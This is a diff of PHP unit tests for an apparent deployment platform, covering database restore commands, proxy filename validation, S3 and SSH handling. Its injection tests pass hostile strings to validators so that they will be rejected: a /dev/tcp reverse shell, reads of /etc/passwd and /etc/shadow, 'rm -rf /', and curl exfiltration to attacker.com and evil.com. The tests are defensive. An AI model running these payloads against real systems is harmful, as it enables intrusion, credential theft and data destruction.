$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMariadb');
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
|
||||
$component = importFormWithResource('App\Models\StandaloneMongodb');
|
||||
$component->dumpAll = $dumpAll;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
expect($result)->toContain('--archive=/tmp/test.dump');
|
||||
})->with([false, true]);
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
|
||||
});
|
||||
|
||||
test('validateBucketName accepts valid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Valid bucket names
|
||||
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateBucketName rejects invalid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Invalid bucket names (command injection attempts)
|
||||
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path accepts valid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Valid S3 paths
|
||||
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path rejects invalid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Invalid S3 paths (command injection attempts)
|
||||
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath accepts valid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Valid server paths (must be absolute)
|
||||
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath rejects invalid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Invalid server paths
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Proxy\GetProxyConfiguration;
|
||||
use Illuminate\Log\LogManager;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Spatie\SchemalessAttributes\SchemalessAttributes;
|
||||
@@ -83,7 +84,7 @@ YAML;
|
||||
});
|
||||
|
||||
it('logs warning when regenerating defaults', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::swap(new LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
// No DB config, no disk config — will try to regenerate
|
||||
@@ -94,7 +95,7 @@ it('logs warning when regenerating defaults', function () {
|
||||
// the force regenerate path instead
|
||||
try {
|
||||
GetProxyConfiguration::run($server, forceRegenerate: true);
|
||||
} catch (\Throwable $e) {
|
||||
} catch (Throwable $e) {
|
||||
// generateDefaultProxyConfiguration may fail without full server setup
|
||||
}
|
||||
|
||||
@@ -115,7 +116,7 @@ it('does not read from disk when DB config exists', function () {
|
||||
});
|
||||
|
||||
it('rejects stored Traefik config when proxy type is CADDY', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::swap(new LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$traefikConfig = "services:\n traefik:\n image: traefik:v3.6\n";
|
||||
@@ -126,7 +127,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
|
||||
// Both will fail in test env, but the warning log proves mismatch was detected.
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
} catch (Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
@@ -136,7 +137,7 @@ it('rejects stored Traefik config when proxy type is CADDY', function () {
|
||||
});
|
||||
|
||||
it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::swap(new LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
$caddyConfig = "services:\n caddy:\n image: lucaslorentz/caddy-docker-proxy:2.8-alpine\n";
|
||||
@@ -144,7 +145,7 @@ it('rejects stored Caddy config when proxy type is TRAEFIK', function () {
|
||||
|
||||
try {
|
||||
GetProxyConfiguration::run($server);
|
||||
} catch (\Throwable $e) {
|
||||
} catch (Throwable $e) {
|
||||
// Expected — regeneration requires SSH/full server setup
|
||||
}
|
||||
|
||||
@@ -163,7 +164,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
|
||||
});
|
||||
|
||||
it('accepts stored config when YAML parsing fails', function () {
|
||||
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
|
||||
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
|
||||
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
|
||||
|
||||
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
|
||||
|
||||
@@ -12,43 +12,69 @@
|
||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects path traversal filenames', function (string $filename) {
|
||||
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
})->with([
|
||||
'../VICTIM_FILE',
|
||||
'../../etc/shadow',
|
||||
'/etc/passwd',
|
||||
'subdir/config.yaml',
|
||||
'subdir\\config.yaml',
|
||||
'config..yaml',
|
||||
"config.yaml\0../../etc/passwd",
|
||||
]);
|
||||
|
||||
test('dynamic proxy components use filename-safe validation', function () {
|
||||
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
|
||||
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
|
||||
|
||||
expect($deleteComponent)
|
||||
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
|
||||
|
||||
expect($createComponent)
|
||||
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
@@ -1,8 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
// This is the core security mechanism used by ImportForm.
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
// Simulate the exact scenario from ImportForm.
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
|
||||
it('quotes restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain(escapeshellarg($tmpPath))
|
||||
->not->toContain(" {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
'mongodb' => StandaloneMongodb::class,
|
||||
]);
|
||||
|
||||
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
$component->dumpAll = true;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain("gunzip -cf {$escapedTmpPath}")
|
||||
->toContain("cat {$escapedTmpPath}")
|
||||
->not->toContain("gunzip -cf {$tmpPath}")
|
||||
->not->toContain("cat {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
]);
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
test('S3Storage model has correct cast definitions', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
|
||||
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
|
||||
});
|
||||
|
||||
test('S3Storage model is guarded correctly', function () {
|
||||
test('S3Storage model fillable attributes are configured correctly', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// The model should have $guarded = [] which means everything is fillable
|
||||
expect($s3Storage->getGuarded())->toBe([]);
|
||||
expect($s3Storage->getFillable())->toBe([
|
||||
'name',
|
||||
'description',
|
||||
'region',
|
||||
'key',
|
||||
'secret',
|
||||
'bucket',
|
||||
'endpoint',
|
||||
'is_usable',
|
||||
'unusable_email_sent',
|
||||
]);
|
||||
});
|
||||
|
||||
test('S3Storage connection validation uses short s3 client timeouts', function () {
|
||||
$disk = Mockery::mock();
|
||||
$disk->expects('files')->once()->andReturn([]);
|
||||
|
||||
Storage::expects('build')
|
||||
->once()
|
||||
->with(Mockery::on(function (array $config) {
|
||||
expect($config['http']['connect_timeout'])->toBe(15);
|
||||
expect($config['http']['timeout'])->toBe(15);
|
||||
|
||||
return true;
|
||||
}))
|
||||
->andReturn($disk);
|
||||
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => null,
|
||||
'secret' => null,
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
]);
|
||||
|
||||
$s3Storage->testConnection();
|
||||
|
||||
expect($s3Storage->is_usable)->toBeTrue();
|
||||
});
|
||||
|
||||
test('S3Storage connection validation returns friendly timeout error', function () {
|
||||
$disk = Mockery::mock();
|
||||
$disk->expects('files')
|
||||
->once()
|
||||
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
|
||||
|
||||
Storage::expects('build')->once()->andReturn($disk);
|
||||
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'name' => 'Test S3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => null,
|
||||
'secret' => null,
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
'unusable_email_sent' => true,
|
||||
]);
|
||||
|
||||
expect(fn () => $s3Storage->testConnection())
|
||||
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
|
||||
|
||||
expect($s3Storage->is_usable)->toBeFalse();
|
||||
});
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Queue\Middleware\WithoutOverlapping;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', function () {
|
||||
$job = new ScheduledJobManager;
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Service\RestartService;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Actions\Service\StopService;
|
||||
use App\Models\Service;
|
||||
|
||||
it('does not stop a service before pulling latest images', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
|
||||
});
|
||||
|
||||
it('still stops a service before a regular restart', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
|
||||
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
|
||||
});
|
||||
|
||||
it('routes service restart actions through start service with deferred stop semantics', function () {
|
||||
$service = Mockery::mock(Service::class);
|
||||
|
||||
$stopService = Mockery::mock(StopService::class);
|
||||
$stopService->shouldNotReceive('handle');
|
||||
app()->instance(StopService::class, $stopService);
|
||||
|
||||
$startService = Mockery::mock(StartService::class);
|
||||
$startService->shouldReceive('handle')
|
||||
->once()
|
||||
->with($service, true, true)
|
||||
->andReturn('restart queued');
|
||||
app()->instance(StartService::class, $startService);
|
||||
|
||||
expect(RestartService::run($service, true))->toBe('restart queued');
|
||||
});
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Models\Server;
|
||||
use App\Rules\ValidHostname;
|
||||
use App\Rules\ValidServerIp;
|
||||
|
||||
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
it('strips dangerous characters from server ip on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->ip = '192.168.1.1;rm -rf /';
|
||||
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
|
||||
expect($server->ip)->toBe('192.168.1.1rm-rf');
|
||||
});
|
||||
|
||||
it('strips dangerous characters from server user on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->user = 'root$(id)';
|
||||
expect($server->user)->toBe('rootid');
|
||||
});
|
||||
|
||||
it('strips non-numeric characters from server port on write', function () {
|
||||
$server = new App\Models\Server;
|
||||
$server = new Server;
|
||||
$server->port = '22; evil';
|
||||
expect($server->port)->toBe(22);
|
||||
});
|
||||
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
|
||||
expect($source)->not->toContain('{$server->user}@{$server->ip}');
|
||||
});
|
||||
|
||||
it('escapes scp source and destination operands', function () {
|
||||
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
|
||||
$source = file_get_contents($reflection->getFileName());
|
||||
|
||||
expect($source)
|
||||
->toContain('escapeshellarg($source)')
|
||||
->toContain('escapeshellarg($dest)')
|
||||
->not->toContain('"{$source} "')
|
||||
->not->toContain('":{$dest}"');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// ValidHostname rejects shell metacharacters
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
|
||||
{
|
||||
public function test_ssh_retry_handler_exists()
|
||||
{
|
||||
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
|
||||
$this->assertTrue(class_exists(SshRetryHandler::class));
|
||||
}
|
||||
|
||||
public function test_ssh_retryable_trait_exists()
|
||||
{
|
||||
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
|
||||
$this->assertTrue(trait_exists(SshRetryable::class));
|
||||
}
|
||||
|
||||
public function test_retry_on_ssh_connection_errors()
|
||||
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
|
||||
}
|
||||
}
|
||||
|
||||
public function test_generic_ssh_exit_255_error_is_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
{
|
||||
use SshRetryable;
|
||||
|
||||
// Make methods public for testing
|
||||
public function test_is_retryable_ssh_error($error)
|
||||
{
|
||||
return $this->isRetryableSshError($error);
|
||||
}
|
||||
};
|
||||
|
||||
$this->assertTrue(
|
||||
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
|
||||
);
|
||||
}
|
||||
|
||||
public function test_non_ssh_errors_are_not_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
|
||||
$this->assertEquals(3, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
config([
|
||||
'constants.ssh.max_retries' => 3,
|
||||
'constants.ssh.retry_base_delay' => 0,
|
||||
]);
|
||||
|
||||
$result = SshRetryHandler::retry(
|
||||
function () use (&$attemptCount) {
|
||||
$attemptCount++;
|
||||
if ($attemptCount === 1) {
|
||||
throw new \RuntimeException('SSH command failed with exit code: 255');
|
||||
}
|
||||
|
||||
return 'success';
|
||||
},
|
||||
['test' => 'generic_ssh_255_retry_test'],
|
||||
true
|
||||
);
|
||||
|
||||
$this->assertEquals('success', $result);
|
||||
$this->assertEquals(2, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_fails_after_max_attempts()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('accepts valid names with common characters', function (string $name) {
|
||||
@@ -130,3 +131,45 @@ it('generates nullable dockerNetworkRules when not required', function () {
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('accepts Docker-compatible environment variable keys', function (string $key) {
|
||||
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeTrue();
|
||||
})->with([
|
||||
'letters' => 'APP_ENV',
|
||||
'leading underscore' => '_TOKEN',
|
||||
'railpack control variable' => 'RAILPACK_NODE_VERSION',
|
||||
'digits after first character' => 'NODE_VERSION_20',
|
||||
'starts with digit' => '1BAD',
|
||||
'hyphen' => 'BAD-KEY',
|
||||
'dot' => 'node.name',
|
||||
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
|
||||
'semicolon' => 'BAD;KEY',
|
||||
'space' => 'BAD KEY',
|
||||
]);
|
||||
|
||||
it('rejects environment variable keys Docker cannot represent', function (string $key) {
|
||||
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeFalse();
|
||||
})->with([
|
||||
'equals' => 'BAD=KEY',
|
||||
'empty' => '',
|
||||
]);
|
||||
|
||||
it('generates environment variable key rules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::environmentVariableKeyRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::ENVIRONMENT_VARIABLE_KEY_PATTERN);
|
||||
});
|
||||
|
||||
it('normalizes environment variable keys by trimming surrounding whitespace', function () {
|
||||
expect(ValidationPatterns::normalizeEnvironmentVariableKey(' node.name '))->toBe('node.name');
|
||||
});
|
||||
|
||||
it('normalizes environment variable keys before model validation', function () {
|
||||
$environmentVariable = new EnvironmentVariable;
|
||||
$environmentVariable->key = ' APP_ENV ';
|
||||
|
||||
expect($environmentVariable->key)->toBe('APP_ENV');
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user